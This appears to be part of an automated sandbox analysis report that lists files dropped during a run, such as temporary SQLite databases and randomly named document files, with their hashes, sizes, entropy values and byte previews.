Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BBE5.tmp-shm

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C174.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C639.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C88C.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C9E4.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CA24.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CB2F.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_Files_\DVWHKMNFNN.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\Temp\_Files_\DVWHKMNFNN.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\Temp\_Files_\HTAGVDFUIE.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\_Files_\KATAXZVCPS.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\_Files_\KATAXZVCPS.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\_Files_\NWTVCDUMOB.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\_Files_\UMMBDNEQBN.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\_Files_\YPSIACHYXW.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700014595314478
Encrypted:	false
SSDEEP:	24:ZUpld6DFp3zvtLC4Tmg3c0x2ngfNqdsD1OqVMyUXHt/Sv0vyjsbsV:upqDL3hO4TRc4Eq8tKvYgV
MD5:	960373CA97DEDBA8576ECF40D0D1E39D
SHA1:	E89C5AC4CF0B920C373CFA7D365C40C1009A14F6
SHA-256:	501DC438F0E931ABED9FDE388BA5A8FAE8445117823118C413F54793F0E10FD7
SHA-512:	93B34F6BC4DCEA41103E31272F2DC9CF07CC100F934CECC8F4317525DA65128DBBAD75B23CE40D46EE1DC11D10147250CAE33F01220F5624E2406B2596B726EB
Malicious:	false
